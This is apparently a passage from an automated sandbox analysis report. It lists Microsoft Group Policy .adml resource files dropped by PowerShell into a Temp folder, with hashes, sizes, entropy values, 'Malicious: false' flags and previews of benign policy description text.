SHA-256:	35C10ECD562212B9C242ABCEA3EECD82965F173B8F8F2A848F1DD94F725EF0A1
SHA-512:	8E70D00D0FEA7F5164EC8BA0FF8B7F548A76A830DA19094827590D46399C4A1F5E21AA2054B5637F1C91095957DE1610C28BCC3974ED3FB36BE3ED6F2D067D45
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowRemoteShellAccess">Allow Remote Shell Access</string>.. <string id="AllowRemoteShellAccess_Help">This policy setting configures access to remote shells.....If you enable this policy setting and set it to False, new remote shell connections are rejected by the server.....If you disable or do not configure this policy setting, new remote shell connections are allowed.</string>.. <string id="IdleTimeout">Specify idle Timeout</string>.. <string id="IdleTimeout_Help">This policy setting configures th

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsServer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1011
Entropy (8bit):	5.086298346478668
Encrypted:	false
SSDEEP:	24:2dgeD5eo8x4+cCk2q1qOyENX/itRgv8FFV:cgeD5x8lcT/XNUFFV
MD5:	14AEA48E9379243660E8B568A71EF533
SHA1:	1EACA2C4A36AB2762757FA7CAA1D4256910ECC95
SHA-256:	A96786FAA32516C2738C2EC94E676F3D339732AB39318D7CDFFA478A2BAE1231
SHA-512:	24AF5CA8EB9650B61FF0A01467A36DD3F55C90741A4FD04C067420A3E150B57F50ADD536513B4D3F0E7A1EC37138205850FFAAED51A1525E1F063C737EFB50E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" revision="1.0" schemaVersion="1.0">.. <displayName>Windows Server 2008 base categories and supported component definitions</displayName>.. <description>This file contains all the base categories and supported component definitions used by server components.</description>.... <resources>.. <stringTable>.. <string id="SUPPORTED_WindowsServer2008">At least Windows Server 2008</string>.. <string id="SUPPORTED_WindowsServer2003R2">At least Windows Server 2003 R2</string>.. <string id="ServerComponents">Server Components</string>.. <string id="ServerComponents_Help">Contains settings for server operating system components.</string>.. </stringTable>.. </resources>..</policyDefinitionR

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WindowsUpdate.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (561), with CRLF line terminators
Category:	dropped
Size (bytes):	34731
Entropy (8bit):	4.71530009460394
Encrypted:	false
SSDEEP:	384:xtl2CSosXR2nMZIvHWRzwjxqDx6rUtuLTaUL4wl2bux0AcY5Bnn6aaF8MSaUVNKl:xtlwhQMZI/W5w8t6rjxXcYXnhaa3Tu
MD5:	1B4DF1C94FAE81C341ABEA40C9ADAD9C
SHA1:	7DBDE04EFAF2D6B703417CC6FB0B146D6FD4214F
SHA-256:	2AEC8DCD9608B57D3D65321B399FAA530552027F0E3CA814F477816DF803E201
SHA-512:	4CFCE39BA34EE283EEC89900AFCA583AE9C0AE86CAA3EE8EC90891347825AF81DD82BD08960551852C6B7C8FD77B5ECDE9BA75C16A3986B7663CB494E3C6E30A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->.. .. Note that white space is preserved as is in the text shown in the Group Policy UI... Don't add extra line breaks at the beginning and end of text strings,.. and make sure that lines of text start in the FIRST column... -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WU_SUPPORTED_Windows7ToXPSP2">Windows 7, Windows Server 2008 R2, Windows Vista, Windows XP SP2</string>.. <string id="WU_SUPPORTED_Windows7_To_Win2kSP3_Or_XPSP1">Windows 7, Windows Server 2008 R2, Windows Vista, Windows Server 2003, Windows XP SP2, Windows XP SP1 , Windows 2000

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Winsrv.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (336), with CRLF line terminators
Category:	dropped
Size (bytes):	1453
Entropy (8bit):	4.91354096133356
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yQ2X/L2jnwwvXzAd7l4d7FFV:cgeD5x8gm8fKj2T27NmEFV
MD5:	76D4B8899387BCD0C081D4301E1B18DE
SHA1:	EBC1DD18A8893ED391379021941451D89692CDCD
SHA-256:	41331BF31C4BA79B1FF7169EFA27CF37AEE5ED269C1C6894AF78F3F6FB40AE59
SHA-512:	629E37A4E24C60A3E34795F17A5E132DBDAEF40F43AF01B451F6024A4FFC93D36F0381B0B413CE2374778C9D50326345BF0B460D7CCD8F8B5CB1A747CD66F1FF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowBlockingAppsAtShutdown">Turn off automatic termination of applications that block or cancel shutdown</string>.. <string id="AllowBlockingAppsAtShutdown_Explain">This policy setting specifies whether Windows will allow console applications and GUI applications without visible top-level windows to block or cancel shutdown. By default, such applications are automatically terminated if they attempt to cancel shutdown or block it indefinitely.....If you enable this setting, console applications or GUI applicat

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WordWheel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2619
Entropy (8bit):	4.83283675002977
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKEupdt44XktQFqMQFbC1RARWJUudgJjT5YMcxL5oV:LeD5pmBhIQwMQE1E5Pk9oV
MD5:	A5FE2005E14E5E7E8792CE0C2BDF53A8
SHA1:	D4EE1B57FE5C5387E241B51F6209DDD45A6D5BE4
SHA-256:	8CB5F08BC1D73EE9C83EF7043A8BDA0CF250E7BEDD1C84E700E6A8A913BEAF86
SHA-512:	332BF547D8883DF20AA82D2C6F9E3DCD89E2997EC16436A377F6135DF1136B595A9B91EB91C70BD3068F71EBA72007C4DAE32D3B0584A5FB392A9158A57036B7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CustomSearch">Custom Instant Search Internet search provider</string>.. <string id="CustomSearch_Explain">Set up the menu name and URL for the custom Internet search provider.....If you enable this setting, the specified menu name and URL will be used for Internet searches.....If you disable or not configure this setting, the default Internet search provider will be used.</string>.. <string id="NoSearchInternetInWordWheel">Hide the "Search the Internet" link from the Search box drop down.</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WorkFolders-Client.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (591), with CRLF line terminators
Category:	dropped
Size (bytes):	3464
Entropy (8bit):	4.792120480185555
Encrypted:	false
SSDEEP:	48:cmD5x8gm8fK9186+SciILEl1h8gCgU+7AJcih/qAUJhbWEPIV:PD5pmh186+Sc8h8XrJcEQJxWEPIV
MD5:	F6075FA597F6343205F02CFAF7CF87A7
SHA1:	7A1F11393676AF8A2B8C95EEDE05007A6F2DB31E
SHA-256:	B6A4F7EBE7A44F81B7A5D4C7A38FEA3FCFCD184FA16E46863C1535323197BE1A
SHA-512:	40358DE36BFC342FE314B6FADACA3B1523BB05658F792F1306FC0E4334E50CADD55777069F59E0483C77A5D13C07293909F4BD2596757EF7B2D3504D37522A9A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2012 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Cat_WorkFolders">Work Folders</string>.. <string id="Pol_MachineEnableWorkFolders">Force automatic setup for all users</string>.. <string id="Pol_MachineEnableWorkFolders_Help">This policy setting specifies whether Work Folders should be set up automatically for all users of the affected computer... ..If you enable this policy setting, Work Folders will be set up automatically for all users of the affected computer. This prevents users from choosing not to use Work Folders on the computer; it also pr

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WorkplaceJoin.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1317
Entropy (8bit):	5.059573414260519
Encrypted:	false
SSDEEP:	24:2d1D5eo8gWt4+3FGxiKRI/LeVQLhqeS1FLiRj/eRBAlA5TtT849eLaa6rTM7ijFV:c1D5x8gmjKhGLJ8uwdxPkOr1jFV
MD5:	68E7E1BEE13094C1C0F9896F82B4D741
SHA1:	5D7F87C220EA3EB57322C9FC0986B2EFCAEBB01A
SHA-256:	4754F8A9B020216A0F9CA4C7357A6794D3C98735D9B7857FCBC19ED1401021E3
SHA-512:	6CCD89B24AC4D9232D45A91E3002F69230BA38A878057ABC0A0BD07F3B7A44CC9E97BE29267CBB56C9D3304EC9CA75C3E662DA1D2E154F3155A029F30C6ACF91
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2013 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Automatically workplace join client computers</displayName>.. <description>This setting lets you configure how domain-joined client computers become workplace-joined with domain users in your organization.</description>.. <resources>.. <stringTable>.. <string id="WJ_WorkplaceJoinCategory">Workplace Join</string>.. <string id="WJ_AutoJoinExplain">This setting lets you configure how domain joined client computers become workplace joined with domain users at your organization.....If this setting is enabled, domain-joined client computers will automatically become workplace-joined upon domain user logon.....Note: Additional requirements may appl

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\fthsvc.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1812
Entropy (8bit):	4.867263783263397
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKe92tf3bDtMsabsl5/n0BshFV:LeD5pmk2tf/Ojbg1nCshFV
MD5:	418D7AC091847AB77D095C57FA41A684
SHA1:	3344D9A7DF3250DC67E0AE77A3852504B57FD45D
SHA-256:	1264F3A19797D8DAEE79006048CF0430FC85D1FA8AAC8C64C5A60351C7753901
SHA-512:	86C39CFFAC76B5417780116DCD6E264C05939C52D7E8920330FABC657AFC34EE9EC0C09EDB871B9F6B3E9C75CD1E12029B29DF6A8D12CB24A8D3810D71BDB8D2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Fault Tolerant Heap</string>.. <string id="WdiScenarioExecutionPolicy">Configure Scenario Execution Level</string>.. <string id="WdiScenarioExecutionPolicyExplain">This policy setting permits or prohibits the Diagnostic Policy Service (DPS) from automatically resolving any heap corruption problems.....If you enable this policy setting, the DPS detects, troubleshoots, and attempts to resolve automatically any heap corruption problems.....If you disable this policy setting, Windows cann

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\hotspotauth.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1509
Entropy (8bit):	4.960947634536891
Encrypted:	false
SSDEEP:	24:2ddD5eo8gWt4+3FWDELiHkM7QQhsrPKkoXWmWUD64WPb1KOFV:cdD5x8gmID1q+kkb967Pb0OFV
MD5:	C8F213BDF5B362440A28D5D5FDD86FB8
SHA1:	587A99FD8725FBBEF863D8D01D3993123817A8B3
SHA-256:	8A6601421A6DE212B6B1FF4990ED462251F3C4C75CB37D7BBA0AFC814B0C50F1
SHA-512:	966BE4DBF177B42253853A03B08447B48315FF51CF05C9FA88FA2A5A344CC9E02A357D7A7FAF61A831EDA39FA9AF35B88389FB8EAFE6BA72A8D7F8BCE90EFFB1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2008 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Hotspot Authentication Group Policy Settings</displayName>.. <description>Hotspot Authentication Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="HotspotAuth_Category">Hotspot Authentication</string>.. <string id="HotspotAuth_Enable">Enable Hotspot Authentication</string>.. <string id="HotspotAuth_Enable_Help">This policy setting defines whether Wi-Fi hotspots are probed for Wireless Internet Service Provider roaming (WISPr) protocol support.....If a Wi-Fi hotspot supports the WISPr protocol, users can submit credentials when manually connecting to the network. If authentication is successful, users will b

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\iSCSI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (402), with CRLF line terminators
Category:	dropped
Size (bytes):	5220
Entropy (8bit):	4.806973059665715
Encrypted:	false
SSDEEP:	96:LeD5pmCaYOcq03f1QSxMMdeuRr48/TNZvOfxk5DxKhFwfDFpm8h7w1D7zDGFV:EPaYO503f1QSy+euRD/TNZvOfxk5DxKQ
MD5:	FE14E28C69993ACCEC221BE3C7A99E5C
SHA1:	AF4A9B9485D3CAE6BB21DC2932A705247C20EC01
SHA-256:	68B3DF1ED58900E693440D614266C2F8FA20A87F75B9183A5BEBFAB5C3C6B4C2
SHA-512:	B60557A69068D7F37CE89C724D22340E464E4DFDE039E9E4A10BE2F4458C165456872632D886EADBAA7AC72F23DAB8AF32EC1A1DAE2605EDC7D25004E878772B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="iSCSI_Category">iSCSI</string>.. <string id="iSCSIDiscovery_Category">iSCSI Target Discovery</string>.. <string id="iSCSIDiscovery_ConfigureiSNSServers">Do not allow manual configuration of iSNS servers</string>.. <string id="iSCSIDiscovery_ConfigureiSNSServers_Help">If enabled then new iSNS servers may not be added and thus new targets discovered via those iSNS servers; existing iSNS servers may not be removed. If disabled then new iSNS servers may be added and thus new targets discovered via those

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\msched.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3422
Entropy (8bit):	4.718448996775859
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3F+uAuj9hjwJd+ktkEbEqXf3XYonvxbBN9vBxWQcjtrh6kWR0z:cgeD5x8gmVSTuiv3Xv1IQcLzWElq2SIV
MD5:	224BEABEB0B0C06F17CD758D7F5CA442
SHA1:	5D6443E03F0345B93561D2958C725E963CE1EBCD
SHA-256:	C65DA0DF5066F72EFF8B61EDF4F7B900650462FE38260C98C43A2DFCBEEF8634
SHA-512:	17AD214FA68E221F9805472AB453B13477656AC0F7A1612F2260B369F2F1E33D0DCC2E03851A3CB72999F16EF790B56F2CC0E1C341723FD1BB0C6937FEA1B98D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Maintenance Scheduler Policies</displayName>.. <description>Maintenance Scheduler Group Policies</description>.. <resources>.. <stringTable>.. <string id="MaintenanceScheduler">Maintenance Scheduler</string>.. <string id="ActivationBoundary">Automatic Maintenance Activation Boundary</string>.. <string id="ActivationBoundaryHelp">.. This policy setting allows you to configure Automatic Maintenance activation boundary..... The maintenance activation boundary is the daily schduled time at which Automatic Maintenance starts.... If you enable this policy setting, this will override the default daily scheduled time

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\nca.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (532), with CRLF line terminators
Category:	dropped
Size (bytes):	8481
Entropy (8bit):	4.839330009877803
Encrypted:	false
SSDEEP:	192:xvEwDvJfTqcK3KoGmwrtrqGryq5hP8lv5UNgTe:xvE8fWVQpHOq5hP8vuge
MD5:	913C464CFBD79FBB24DDDB6A91D1C375
SHA1:	DE4AB693B5B746695B00E6F00EFC190D7541242F
SHA-256:	6E3E490033E86709BBEAD8A1CA4F35DD478297BD932A76C3D9942DD59F8AC27F
SHA-512:	346C4AA6FBC299ECC94C2CA4970A4EC4867235FD9268E4E89C2F32D526A1F75824565442B555080CD374C229D6C5ECFD2CF6B7B96DC85FCABD14F9225FE05CEB
Malicious:	false
Preview:	<policyDefinitionResources revision="1.0" schemaVersion="1.0">.. <displayName>DirectAccess Client Experience Settings Group Policy Template</displayName>.. <description>This admx file describes policy template for DirectAccess Client NCA component</description>.. <resources>.. <stringTable>.. <string id="NCA">DirectAccess Client Experience Settings</string>.. <string id="NCA_Help">This is the group policy template for DirectAccess Client Experience Settings. Please read the DirectAccess deployment guide for more information.</string>.. <string id="SupportEmail">Support Email Address</string>.. <string id="SupportEmail_Help">Specifies the e-mail address to be used when sending the log files that are generated by NCA to the network administrator. ....When the user sends the log files to the Administrator, NCA uses the default e-mail client to open a new message with the support email address in the To: field of the message, then attaches the generated log files

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\pca.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (379), with CRLF line terminators
Category:	dropped
Size (bytes):	6236
Entropy (8bit):	4.8210465928673445
Encrypted:	false
SSDEEP:	96:LeD5pm0ybro3NXRz6/LPrwwfsHO+/7Oaj3V:EDyXo3NXRz+0w0HdjtjF
MD5:	78021A8DEB0981DD65154025032BB7D5
SHA1:	5B59F46A232E9752D6405949564B435D1AD709B5
SHA-256:	899C5FF462E34E8319AC0C59A9BC794695166970BA28495C473754FA5C3DE457
SHA-512:	C4BBA2C6A05B10A74D603225CE69BF6EC3D08CF8039D56E5118774179A628A237F9119C09215C4FEB7BE5D5D06A8E5CF6B07FE2822D0AF7E65FEFD47FA9E039E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>...... Overall category text -->.. <string id="PcaScenarioCategory">Application Compatibility Diagnostics</string>.. .... Generic WDI text -->.. <string id="WdiScenarioExecutionPolicyLevelResolution">Detection, Troubleshooting and Resolution</string>.. <string id="WdiScenarioExecutionPolicyLevelTsOnly">Detection and Troubleshooting Only</string>...... Individual scenario text -->.. <string id="DetectBlockedDriversText">Notify blocked drivers</string>.. <string id="DetectDepre

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\sdiageng.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (423), with CRLF line terminators
Category:	dropped
Size (bytes):	3289
Entropy (8bit):	4.684667062227081
Encrypted:	false
SSDEEP:	48:cVD5x8gmnwOx5XzQfO4ZQZr4VdF+kHdqblrmG7FV:WD5pmnwOX4aadF+odcmG7FV
MD5:	145EB767DFAAC5B7D79A9DF8C4FD6504
SHA1:	EF931F6BD052785B77B640F310BB593DA3FBC881
SHA-256:	F2483555C3531D0821703D3696ACBFE5528A031D762661249CD6DF8434ACCFC3
SHA-512:	8B5AC9ABF5870C9F2D9708E8858121815CE875E379700E7E4797F84631802D82FFE0A32C1983CF23BD6B09D775965F0192939D03CAC6F1E5FD2B54CC55EE2602
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Scripted Diagnostics</displayName>.. <description>Scripted Diagnostics</description>.. <resources>.. <stringTable>.. <string id="ScriptedDiagnosticsCategory">Scripted Diagnostics</string>.. <string id="ScriptedDiagnosticsSecurityPolicy">Configure Security Policy for Scripted Diagnostics</string>.. <string id="ScriptedDiagnosticsSecurityPolicyExplain">This policy setting determines whether scripted diagnostics will execute diagnostic packages that are signed by untrusted publishers.....If you enable this policy setting, the scripted diagnostics execution user validates the signer of any diagnostic package and runs only those signed by trust

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\srm-fci.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (472), with CRLF line terminators
Category:	dropped
Size (bytes):	7668
Entropy (8bit):	4.73074137043816
Encrypted:	false
SSDEEP:	96:wNa+/IQexYsInNwFxpeHe+zpoDQzwvU9Q7nwefXvU9Q7HTV:G/In5xpe++zpoDhv8w/v80
MD5:	7B04E3F4356B26D851628246DAC94705
SHA1:	AB5AC1954A3652BCB12946B607C2B1F4D876DA21
SHA-256:	E6F4193F29666226D72365C364E473F1F9DEB47405DFEDCA38A215EB61FFF967
SHA-512:	E1A0C7A200AEDCD3FB55E64BF67A0EE9EED91C0632C178A54FA98E20D9B4C32680F17900BC66017FEF3F595A6FCA06624B2C0CF7D5B4E8490C177F3AFAC1A414
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>File Classification Infrastructure Group Policy Definitions</displayName>.. <description></description>.. <resources>.. <stringTable>.. <string id="AdrCat">Access-Denied Assistance</string>.. <string id="FciCat">File Classification Infrastructure</string>.. <string id="EnableManualUXDisplay">File Classification Infrastructure: Display Classification tab in File Explorer</string>.. <string id="EnableShellExecuteFileStreamCheck">Enable access-denied assistance on client for all file types</string>.. <string id="EnableShellExecuteFileStreamCheck_Descr">This Group Policy Setting should be set on Windows clients to enable access-denied assistance for all file types</string>.. <string id="EnableManualUXExplain">This policy setting controls whether the Classification

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\tcpip.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (431), with CRLF line terminators
Category:	dropped
Size (bytes):	13466
Entropy (8bit):	4.782394839113498
Encrypted:	false
SSDEEP:	96:LeD5pmjKFPT4fv3EIrv3Iv/g8/vRzZxOkRvhRkKSbHw1cZICCHzBaTBeQqqL7tgA:E6fv3EWv3Ivo8Fn/nYwrqjvigA95Zy/D
MD5:	0B0DA2277FE7B257B26ED87E595CDCF5
SHA1:	5F790C95E1703A243F0678FDF521772811B4D352
SHA-256:	89EC65C0144936DE7A31B903D9A8DBD2E436FD098DE9AA91EAF164A5A8B6DB1B
SHA-512:	581018F7E5E6ACFBB4D7E8B6BDADCA26ABE829ED1E12AAF1B86FB70857DF9B2290056B3890E969A62DA027399FA4624E1B9478679B91632AD1CE12D1A09D0250
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>TCPIP Group Policy Template file</displayName>.. <description>This admx file describes policy template for TCPIP components</description>.. <resources>.. <stringTable>.. <string id="TCPIP">TCPIP Settings</string>.. <string id="Ipv6Transition">IPv6 Transition Technologies</string>.... <string id="ISATAP_State">Set ISATAP State</string>.. <string id="ISATAP_Router_Name">Set ISATAP Router Name</string>.. <string id="6to4_State">Set 6to4 State</string>.. <string id="6to4_Router_Name">Set 6to4 Relay Name</string>.. <string id="6to4_Router_Name_Resolution_Interval">Set 6to4 Relay Name Resolution Interval</string>.. <s

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\wlansvc.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1977
Entropy (8bit):	4.903195660648944
Encrypted:	false
SSDEEP:	48:cwD5x8gmipnasavWANaqwDtCsiFsaMQnV:lD5pmipasavWuaqwhsFsaM0V
MD5:	13E20C78E89E7FC58934BCFF584E12A1
SHA1:	52DCC829C427CE609034C9106460C7734BEBD3ED
SHA-256:	A59E2ED355AC803474C9EF02A60076BB98ADBB33AD6AA6884AB1B4850BAC4C02
SHA-512:	14C6DB1DCB97692D561C961A5A1A5F0F25BC6CC3CB28DC878CD46296339E16C36BA8A364BE4F80A42D2C27725BECDED3020DC68BE820F0343FE92A961F018966
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2010 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>WLAN Service Group Policy Settings</displayName>.. <description>WLAN Service Group Policy Settings</description>.. <resources>.. <stringTable>.. <string id="WlanSvc_Category">WLAN Service</string>.. <string id="NetworkCost_Category">WLAN Media Cost</string>.. <string id="SetCost">Set Cost</string>.. <string id="SetCost_Help">This policy setting configures the cost of Wireless LAN (WLAN) connections on the local machine.....If this policy setting is enabled, a drop-down list box presenting possible cost values will be active. Selecting one of the following values from the list will set the cost of all WLAN connections on the local m

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\wwansvc.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2971
Entropy (8bit):	4.817228267034193
Encrypted:	false
SSDEEP:	48:cwD5x8gmL0PfvW8N0qwDtCsiFcs2mANRqwDtCsiFnMlpV:lD5pmL0PfvWq0qwhsFcs2muRqwhsFnM1
MD5:	761AF87D50F53F0CE9947B5D486C30FA
SHA1:	DC926F9449848CCE778326607BD4787ED6C80A01
SHA-256:	8F1F6C7509F5C7C27B8F6E5DCF81FB8C02AE3FFEE825F6CFA4171A712BE018D4
SHA-512:	ECCF653D5935C3777F14F08C0F5318B927E230C08AAA09DEBFD09ACA23A27B0887FE94A8670B635FD7D7B6ACCF3D3DFED2BFBCD02298A5B58089D66219A7E366
Malicious:	false
